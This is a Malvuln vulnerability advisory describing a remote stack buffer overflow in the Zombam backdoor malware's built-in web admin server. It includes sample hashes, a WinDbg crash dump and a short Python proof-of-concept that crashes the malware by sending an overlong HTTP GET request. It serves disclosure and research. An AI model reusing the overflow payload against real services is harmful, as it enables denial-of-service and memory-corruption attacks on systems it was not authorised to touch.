Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/9729e9fc004ea49d3c2ddee28736dae3.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Zombam.l Vulnerability: Remote Stack Buffer Overflow Description: Zombam malware listens on TCP port 80 to display an HTML Web UI for basic remote administration capability. Third-party attackers who can reach an infected system can make an HTTP GET request sending a long string to trigger a buffer overflow overwriting the EDX register Type: PE32 MD5: 9729e9fc004ea49d3c2ddee28736dae3 Vuln ID: MVID-2021-0276 ASLR: False DEP: False Safe SEH: True Disclosure: 07/03/2021 Memory Dump: (198.730): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=0283fa20 edx=41414141 esi=00000003 edi=00000003 eip=778eed3c esp=0283f0bc ebp=0283f24c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 778eed3c c21400 ret 14h 0:005> .ecxr eax=0283f9f0 ebx=041d02d0 ecx=0283fa20 edx=41414141 esi=041d02d0 edi=004057d6 eip=004029e0 esp=0283f9d8 ebp=0283fa28 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 *** WARNING: Unable to verify checksum for httpserver.exe *** ERROR: Module load completed but symbols could not be loaded for httpserver.exe httpserver+0x29e0: 004029e0 8b4204 mov eax,dword ptr [edx+4] ds:002b:41414145=???????? 0:005> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: httpserver+29e0 004029e0 8b4204 mov eax,dword ptr [edx+4] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 004029e0 (httpserver+0x000029e0) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414145 Attempt to read from address 41414145 PROCESS_NAME: httpserver.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 41414145 READ_ADDRESS: 41414145 FOLLOWUP_IP: httpserver+29e0 004029e0 8b4204 mov eax,dword ptr [edx+4] MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00000730 BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 00402574 to 004029e0 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0283fa28 00402574 41414141 0283fa40 00000415 httpserver+0x29e0 0283faa4 41414141 41414141 41414141 41414141 httpserver+0x2574 0283faa8 41414141 41414141 41414141 41414141 0x41414141 etc.... STACK_COMMAND: ~5s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: httpserver+29e0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: httpserver IMAGE_NAME: httpserver.exe DEBUG_FLR_IMAGE_TIMESTAMP: 3eee00db FAILURE_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_41414141_c0000005_httpserver.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_httpserver+29e0 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=80 s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="GET /"+"A"*15028+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n" s.send(PAYLOAD) s.close() print("Backdoor.Win32.Zombam.l / Remote Stack Buffer Overflow") print("MD5: 9729e9fc004ea49d3c2ddee28736dae3") print("By Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).